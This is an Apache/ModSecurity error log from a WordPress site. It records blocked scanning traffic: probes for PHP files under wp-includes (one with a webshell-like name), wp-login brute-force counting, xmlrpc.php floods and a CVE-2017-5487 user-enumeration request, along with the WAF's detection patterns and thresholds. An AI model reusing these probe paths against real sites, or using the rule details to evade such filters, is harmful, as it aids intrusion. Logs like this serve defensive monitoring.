[Sat Dec 27 02:19:36.875287 2025] [:error] [pid 34187:tid 34198] [client 4.213.153.26:18828] [client 4.213.153.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aU7RuKv8srZGEpsIm8AFaAAAAAY"], referer: https://www.yahoo.com/
[Sat Dec 27 02:19:37.150009 2025] [:error] [pid 34189:tid 34265] [client 4.213.153.26:35490] [client 4.213.153.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aU7RuQnn007DnMwSsfc1twAAAJI"], referer: https://www.google.fr/
[Sat Dec 27 02:19:37.425907 2025] [:error] [pid 34274:tid 34300] [client 4.213.153.26:35859] [client 4.213.153.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aU7Ruc6fabpS0mfhiCEbPQAAANg"], referer: https://www.google.fr/
[Sat Dec 27 02:19:37.705819 2025] [autoindex:error] [pid 34188:tid 34241] [client 4.213.153.26:35847] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Sat Dec 27 02:19:37.842773 2025] [:error] [pid 34188:tid 34234] [client 4.213.153.26:35847] [client 4.213.153.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.213.153.26, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aU7RuQ54j0mXgip5BAG3awAAAE4"], referer: https://www.google.com/
[Sat Dec 27 02:19:39.402438 2025] [:error] [pid 34188:tid 34236] [client 4.213.153.26:20680] [client 4.213.153.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.213.153.26, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aU7Ruw54j0mXgip5BAG3bgAAAFA"], referer: https://www.google.com/
[Sat Dec 27 02:54:24.820494 2025] [:error] [pid 34274:tid 34299] [client 159.223.61.19:55198] [client 159.223.61.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.61.19, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU7Z4M6fabpS0mfhiCEpngAAANc"]
[Sat Dec 27 03:35:22.816809 2025] [:error] [pid 50729:tid 50738] [client 35.195.70.254:58555] [client 35.195.70.254] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.195.70.254, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU7jegav2qGwFyjAIE0pFwAAAAQ"]
[Sat Dec 27 03:35:26.515135 2025] [:error] [pid 50729:tid 50744] [client 35.195.70.254:58555] [client 35.195.70.254] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aU7jfgav2qGwFyjAIE0pGgAAAAo"]
[Sat Dec 27 03:35:28.544153 2025] [:error] [pid 50729:tid 50745] [client 35.195.70.254:58555] [client 35.195.70.254] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.195.70.254, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU7jgAav2qGwFyjAIE0pHAAAAAs"]
[Sat Dec 27 03:35:30.719392 2025] [:error] [pid 50821:tid 50832] [client 35.195.70.254:51118] [client 35.195.70.254] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.195.70.254, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU7jgnywyjT1la8BjjOJ2wAAAMk"]
[Sat Dec 27 03:35:32.902358 2025] [:error] [pid 50821:tid 50839] [client 35.195.70.254:61584] [client 35.195.70.254] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.195.70.254, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU7jhHywyjT1la8BjjOJ3wAAANA"]
[Sat Dec 27 03:35:35.118459 2025] [:error] [pid 50730:tid 50771] [client 35.195.70.254:55895] [client 35.195.70.254] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.195.70.254, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU7jh876XODChUKcHUM-8gAAAEo"]
[Sat Dec 27 03:35:37.356923 2025] [:error] [pid 50730:tid 50781] [client 35.195.70.254:58637] [client 35.195.70.254] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.195.70.254, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU7jic76XODChUKcHUM-8wAAAFQ"]
[Sat Dec 27 03:35:37.357053 2025] [:error] [pid 50730:tid 50781] [client 35.195.70.254:58637] [client 35.195.70.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 35.195.70.254, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU7jic76XODChUKcHUM-8wAAAFQ"]
[Sat Dec 27 03:52:01.715172 2025] [:error] [pid 53445:tid 53541] [client 157.230.230.244:34264] [client 157.230.230.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.230.230.244, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU7nYZExImFfF-26sOBqmAAAAJc"]
[Sat Dec 27 04:10:35.586720 2025] [:error] [pid 32193:tid 32274] [client 103.213.216.70:48726] [client 103.213.216.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.213.216.70, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU7ruxgw0eCOc2qYqaL0GgAAAJg"]
[Sat Dec 27 04:10:38.334701 2025] [:error] [pid 32192:tid 32233] [client 103.213.216.70:49832] [client 103.213.216.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.213.216.70, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU7rvi_q0VFe066lbk-hBgAAAEo"]
[Sat Dec 27 04:10:40.405174 2025] [:error] [pid 32193:tid 32254] [client 103.213.216.70:50582] [client 103.213.216.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.213.216.70, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU7rwBgw0eCOc2qYqaL0IwAAAIQ"]
[Sat Dec 27 04:10:42.428845 2025] [:error] [pid 32278:tid 32285] [client 103.213.216.70:51398] [client 103.213.216.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.213.216.70, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU7rwn-IfCN2Cy9GcchWRgAAAMU"]
[Sat Dec 27 04:10:44.495665 2025] [:error] [pid 32191:tid 32211] [client 103.213.216.70:52252] [client 103.213.216.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.213.216.70, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU7rxLPNtMgrjVCHIdFi-gAAABA"]
[Sat Dec 27 04:10:46.446287 2025] [:error] [pid 32278:tid 32294] [client 103.213.216.70:53028] [client 103.213.216.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.213.216.70, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU7rxn-IfCN2Cy9GcchWTwAAAM4"]
[Sat Dec 27 04:10:46.446462 2025] [:error] [pid 32278:tid 32294] [client 103.213.216.70:53028] [client 103.213.216.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 103.213.216.70, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU7rxn-IfCN2Cy9GcchWTwAAAM4"]
[Sat Dec 27 04:10:47.454434 2025] [:error] [pid 32192:tid 32229] [client 103.213.216.70:53434] [client 103.213.216.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.213.216.70, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU7rxy_q0VFe066lbk-hFgAAAEY"]
[Sat Dec 27 04:10:47.454625 2025] [:error] [pid 32192:tid 32229] [client 103.213.216.70:53434] [client 103.213.216.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 103.213.216.70, counter = 7"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU7rxy_q0VFe066lbk-hFgAAAEY"]
[Sat Dec 27 04:10:48.465209 2025] [:error] [pid 32192:tid 32243] [client 103.213.216.70:53858] [client 103.213.216.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.213.216.70, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU7ryC_q0VFe066lbk-hGAAAAFQ"]
[Sat Dec 27 04:10:48.465367 2025] [:error] [pid 32192:tid 32243] [client 103.213.216.70:53858] [client 103.213.216.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 103.213.216.70, counter = 8"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU7ryC_q0VFe066lbk-hGAAAAFQ"]
[Sat Dec 27 04:10:49.509845 2025] [:error] [pid 32191:tid 32219] [client 103.213.216.70:54274] [client 103.213.216.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.213.216.70, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU7rybPNtMgrjVCHIdFjBgAAABg"]
[Sat Dec 27 04:10:49.511849 2025] [:error] [pid 32191:tid 32219] [client 103.213.216.70:54274] [client 103.213.216.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 103.213.216.70, counter = 9"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU7rybPNtMgrjVCHIdFjBgAAABg"]
[Sat Dec 27 04:11:07.795259 2025] [:error] [pid 32192:tid 32226] [client 47.122.18.191:45012] [client 47.122.18.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.122.18.191, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU7r2y_q0VFe066lbk-hVgAAAEM"]
[Sat Dec 27 04:11:11.593761 2025] [:error] [pid 32278:tid 32286] [client 47.122.18.191:45028] [client 47.122.18.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.122.18.191, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU7r33-IfCN2Cy9GcchWfAAAAMY"]
[Sat Dec 27 04:11:16.649519 2025] [:error] [pid 32191:tid 32199] [client 47.122.18.191:55364] [client 47.122.18.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.122.18.191, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU7r5LPNtMgrjVCHIdFjNgAAAAQ"]
[Sat Dec 27 04:11:19.498597 2025] [:error] [pid 32191:tid 32202] [client 47.122.18.191:55374] [client 47.122.18.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.122.18.191, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU7r57PNtMgrjVCHIdFjOwAAAAc"]
[Sat Dec 27 04:35:47.604715 2025] [:error] [pid 32192:tid 32230] [client 45.88.106.230:57234] [client 45.88.106.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.88.106.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU7xoy_q0VFe066lbk-pxAAAAEc"]
[Sat Dec 27 05:13:46.411130 2025] [:error] [pid 32191:tid 32211] [client 66.226.73.181:33228] [client 66.226.73.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.226.73.181, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU76irPNtMgrjVCHIdF88wAAABA"]
[Sat Dec 27 05:50:11.181658 2025] [:error] [pid 15939:tid 15957] [client 45.33.95.25:37554] [client 45.33.95.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.33.95.25, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU8DE-Z7qdnFxikanMJVVwAAARA"]
[Sat Dec 27 06:24:14.967085 2025] [:error] [pid 32191:tid 32210] [client 140.82.2.37:33792] [client 140.82.2.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 140.82.2.37, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU8LDrPNtMgrjVCHIdGLHAAAAA8"]
[Sat Dec 27 06:44:59.346627 2025] [:error] [pid 32278:tid 32304] [client 44.206.195.133:44300] [client 44.206.195.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 44.206.195.133, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU8P63-IfCN2Cy9GcciaiQAAANg"]
[Sat Dec 27 07:00:36.565043 2025] [:error] [pid 32193:tid 32254] [client 138.122.43.166:50092] [client 138.122.43.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.122.43.166, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU8TlBgw0eCOc2qYqaIq-wAAAIQ"]
[Sat Dec 27 07:36:46.939612 2025] [:error] [pid 32192:tid 32243] [client 216.249.99.220:64483] [client 216.249.99.220] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 216.249.99.220, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU8cDi_q0VFe066lbk_aEgAAAFQ"]
[Sat Dec 27 08:41:14.848889 2025] [:error] [pid 45373:tid 45393] [client 5.78.102.194:56866] [client 5.78.102.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.78.102.194, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU8rKi7p_wFcbpu46HXxYgAAAVI"]
[Sat Dec 27 08:44:10.341801 2025] [:error] [pid 32192:tid 32231] [client 217.15.164.215:38286] [client 217.15.164.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.15.164.215, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU8r2i_q0VFe066lbk_vWQAAAEg"]
[Sat Dec 27 09:28:20.100688 2025] [:error] [pid 32193:tid 32265] [client 51.38.116.112:57600] [client 51.38.116.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.38.116.112, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU82NBgw0eCOc2qYqaJE8AAAAI8"]
[Sat Dec 27 10:04:23.447522 2025] [:error] [pid 32193:tid 32269] [client 149.28.156.221:49876] [client 149.28.156.221] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.28.156.221, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU8-pxgw0eCOc2qYqaJM2AAAAJM"]
[Sat Dec 27 10:15:38.352063 2025] [:error] [pid 32192:tid 32246] [client 170.75.248.80:34100] [client 170.75.248.80] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.75.248.80, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU9BSi_q0VFe066lbk8BIAAAAFc"]
[Sat Dec 27 10:15:42.067895 2025] [:error] [pid 15939:tid 15960] [client 170.75.248.80:34172] [client 170.75.248.80] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.75.248.80, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU9BTuZ7qdnFxikanMKJRgAAARM"]
[Sat Dec 27 10:15:44.564805 2025] [:error] [pid 15939:tid 15963] [client 170.75.248.80:34268] [client 170.75.248.80] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.75.248.80, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU9BUOZ7qdnFxikanMKJSQAAARY"]
[Sat Dec 27 10:15:46.891144 2025] [:error] [pid 32278:tid 32291] [client 170.75.248.80:34330] [client 170.75.248.80] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.75.248.80, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU9BUn-IfCN2Cy9GccjE7gAAAMs"]
[Sat Dec 27 10:15:49.550172 2025] [:error] [pid 32193:tid 32257] [client 170.75.248.80:34434] [client 170.75.248.80] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.75.248.80, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU9BVRgw0eCOc2qYqaJPrAAAAIc"]
[Sat Dec 27 10:15:52.021494 2025] [:error] [pid 32278:tid 32299] [client 170.75.248.80:34506] [client 170.75.248.80] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.75.248.80, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU9BWH-IfCN2Cy9GccjE8AAAANM"]
[Sat Dec 27 10:15:52.021729 2025] [:error] [pid 32278:tid 32299] [client 170.75.248.80:34506] [client 170.75.248.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 170.75.248.80, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU9BWH-IfCN2Cy9GccjE8AAAANM"]
[Sat Dec 27 10:15:53.021371 2025] [:error] [pid 32278:tid 32304] [client 170.75.248.80:34526] [client 170.75.248.80] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.75.248.80, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU9BWX-IfCN2Cy9GccjE8QAAANg"]
[Sat Dec 27 10:15:53.021564 2025] [:error] [pid 32278:tid 32304] [client 170.75.248.80:34526] [client 170.75.248.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 170.75.248.80, counter = 7"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU9BWX-IfCN2Cy9GccjE8QAAANg"]
[Sat Dec 27 10:19:38.282749 2025] [:error] [pid 32192:tid 32227] [client 171.244.206.65:33154] [client 171.244.206.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 171.244.206.65, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU9COi_q0VFe066lbk8BnwAAAEQ"]
[Sat Dec 27 10:46:45.797247 2025] [:error] [pid 15939:tid 15955] [client 95.216.171.142:57868] [client 95.216.171.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.216.171.142, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU9IleZ7qdnFxikanMKOrQAAAQ4"]
[Sat Dec 27 11:23:08.259704 2025] [:error] [pid 15939:tid 15962] [client 172.104.233.211:64124] [client 172.104.233.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.104.233.211, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU9RHOZ7qdnFxikanMKVTQAAARU"]
[Sat Dec 27 11:38:12.261300 2025] [:error] [pid 32191:tid 32205] [client 171.244.206.65:41918] [client 171.244.206.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 171.244.206.65, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU9UpLPNtMgrjVCHIdHVSAAAAAo"]
